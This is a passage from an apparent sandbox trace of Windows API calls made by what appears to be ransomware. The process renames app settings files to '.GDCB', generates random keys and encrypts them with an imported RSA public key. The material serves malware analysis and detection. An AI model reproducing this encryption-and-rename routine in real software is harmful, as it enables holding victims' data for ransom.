data\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0210.704] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6d80000 [0210.705] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6d90000 [0210.706] ReadFile (in: hFile=0x510, lpBuffer=0x6d90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6d90000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0210.758] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x6ea0000 [0210.762] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\settings\\settings.dat.gdcb")) returned 0 [0210.795] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0210.796] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0210.797] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0210.797] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0210.797] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0210.797] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0210.799] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0210.800] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0210.800] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0210.800] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0210.800] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0210.802] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489b40) returned 1 [0210.802] CryptGetKeyParam (in: hKey=0x6489b40, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0210.802] CryptEncrypt (in: hKey=0x6489b40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d60000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6d60000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0210.802] GetLastError () returned 0x0 [0210.802] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0210.802] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0210.804] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489f00) returned 1 [0210.804] CryptGetKeyParam (in: hKey=0x6489f00, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0210.804] CryptEncrypt (in: hKey=0x6489f00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d70000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6d70000*, pdwDataLen=0x285d630*=0x100) returned 1 [0210.805] GetLastError () returned 0x0 [0210.805] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0210.805] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.getstarted_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0210.806] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6d80000 [0210.808] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6d90000 [0210.809] ReadFile (in: hFile=0x510, lpBuffer=0x6d90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6d90000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0211.071] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x6ea0000 [0211.078] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.getstarted_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.getstarted_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 1 [0211.128] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0211.130] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.131] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.131] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0211.131] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0211.131] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0211.132] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.133] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.133] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0211.133] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.133] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0211.136] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489ac0) returned 1 [0211.136] CryptGetKeyParam (in: hKey=0x6489ac0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0211.136] CryptEncrypt (in: hKey=0x6489ac0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d60000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6d60000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0211.136] GetLastError () returned 0x0 [0211.149] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0211.149] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0211.152] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489a80) returned 1 [0211.152] CryptGetKeyParam (in: hKey=0x6489a80, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0211.152] CryptEncrypt (in: hKey=0x6489a80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d70000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6d70000*, pdwDataLen=0x285d630*=0x100) returned 1 [0211.152] GetLastError () returned 0x0 [0211.152] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0211.152] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.lockapp_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0211.154] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6d80000 [0211.155] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6d90000 [0211.156] ReadFile (in: hFile=0x510, lpBuffer=0x6d90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6d90000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0211.165] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x6ea0000 [0211.171] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.lockapp_cw5n1h2txyewy\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.lockapp_cw5n1h2txyewy\\settings\\settings.dat.gdcb")) returned 1 [0211.227] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0211.228] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.229] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.229] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0211.229] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.229] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0211.231] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.232] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.233] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0211.233] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.233] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0211.235] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x648a040) returned 1 [0211.235] CryptGetKeyParam (in: hKey=0x648a040, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0211.235] CryptEncrypt (in: hKey=0x648a040, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d60000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6d60000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0211.235] GetLastError () returned 0x0 [0211.235] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.235] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0211.237] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489dc0) returned 1 [0211.237] CryptGetKeyParam (in: hKey=0x6489dc0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0211.237] CryptEncrypt (in: hKey=0x6489dc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d70000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6d70000*, pdwDataLen=0x285d630*=0x100) returned 1 [0211.237] GetLastError () returned 0x0 [0211.237] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.237] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0211.239] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6d80000 [0211.240] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6d90000 [0211.241] ReadFile (in: hFile=0x510, lpBuffer=0x6d90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6d90000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0211.305] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x6ea0000 [0211.310] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 0 [0211.332] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0211.334] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.335] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.335] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0211.335] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.335] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0211.336] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.337] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.337] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0211.337] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0211.337] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0211.340] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489fc0) returned 1 [0211.340] CryptGetKeyParam (in: hKey=0x6489fc0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0211.340] CryptEncrypt (in: hKey=0x6489fc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d60000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6d60000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0211.340] GetLastError () returned 0x0 [0211.340] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.340] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0211.343] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489f80) returned 1 [0211.343] CryptGetKeyParam (in: hKey=0x6489f80, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0211.343] CryptEncrypt (in: hKey=0x6489f80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d70000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6d70000*, pdwDataLen=0x285d630*=0x100) returned 1 [0211.343] GetLastError () returned 0x0 [0211.343] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.343] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0211.392] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0211.394] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.395] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.395] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0211.395] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0211.395] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0211.396] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.398] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.398] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0211.398] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0211.398] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0211.400] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489a00) returned 1 [0211.400] CryptGetKeyParam (in: hKey=0x6489a00, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0211.400] CryptEncrypt (in: hKey=0x6489a00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d80000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6d80000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0211.400] GetLastError () returned 0x0 [0211.400] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.400] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0211.402] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489e00) returned 1 [0211.402] CryptGetKeyParam (in: hKey=0x6489e00, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0211.402] CryptEncrypt (in: hKey=0x6489e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d90000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6d90000*, pdwDataLen=0x285d630*=0x100) returned 1 [0211.403] GetLastError () returned 0x0 [0211.403] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0211.403] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.net.native.framework.1.0_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0211.454] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0211.456] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.457] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.457] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0211.457] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0211.457] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0211.459] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.460] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.460] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0211.460] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0211.460] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0211.462] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x64898c0) returned 1 [0211.462] CryptGetKeyParam (in: hKey=0x64898c0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0211.462] CryptEncrypt (in: hKey=0x64898c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6da0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6da0000*, 